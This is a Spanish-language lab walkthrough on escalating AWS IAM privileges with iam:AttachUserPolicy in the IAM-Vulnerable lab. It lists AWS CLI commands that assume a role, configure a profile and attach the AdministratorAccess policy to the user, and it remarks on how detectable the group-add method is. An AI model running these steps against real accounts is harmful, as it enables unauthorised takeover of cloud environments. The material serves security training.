AttachUserPolicy

Un atacante con el permiso iam:AttachUserPolicy puede aumentar los privilegios adjuntando una política a un usuario al que tiene acceso, agregando los permisos de esa política al atacante.

Luego del despliegue del laboratorio de IAM-Vulnerable, nos vamos a encontrar el siguiente usuario:

Este usuario tiene la siguiente política:

Este usuario tiene el siguiente rol:

Otra manera de validar lo anterior, es por medio del siguiente comando ya explicado:

Listando las políticas del usuario que será auditado:

aws iam list-attached-user-policies --user-name privesc7-AttachUserPolicy-user

Obteniendo información relevante para nuestra auditoria utilizando el ARN de la política del usuario auditado:

aws iam get-policy-version --policy-arn arn:aws:iam::651927172911:policy/privesc7-AttachUserPolicy --version-id v1

Ahora con nuestro usuario administrador, vamos a generar unas credenciales con STS sobre dicho usuario.

aws sts assume-role --role-arn arn:aws:iam::651927172911:role/privesc7-AttachUserPolicy-role --role-session-name privesc7

Por lo anterior, tenemos que autenticarnos en AWSCLI y validar con el comando del El whoami de AWS

Primero nos autenticamos:

aws configure --profile privesc7

Y luego validamos con el whoami de AWS:

aws sts get-caller-identity --profile privesc7

Si intentamos agregarnos al grupo de administradores, vamos a obtener un error de permisos:

El siguiente comando se ejecuta dentro de un entorno de laboratorio controlado específicamente diseñado para prácticas de seguridad ofensiva. Su propósito es validar si tenemos los permisos necesarios para realizar operaciones administrativas. Es importante destacar que, aunque este método es efectivo en un ambiente controlado, su aplicación en un entorno real no es recomendable. En escenarios de producción, este tipo de acciones pueden ser fácilmente detectadas por sistemas de monitoreo, aumentando el riesgo de ser identificado por los equipos de seguridad.

aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc7-AttachUserPolicy-user --profile privesc7

En este escenario, simplemente tenemos que adjuntarnos la política de administrador a nuestro usuario:

aws iam attach-user-policy --user-name privesc7-AttachUserPolicy-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --profile privesc7

Si revisamos ahora las políticas asociadas a nuestro usuario, lograremos apreciar que hemos adjuntado exitosamente la política de administrador a nuestro usuario inicial.

Última actualización

¿Te fue útil?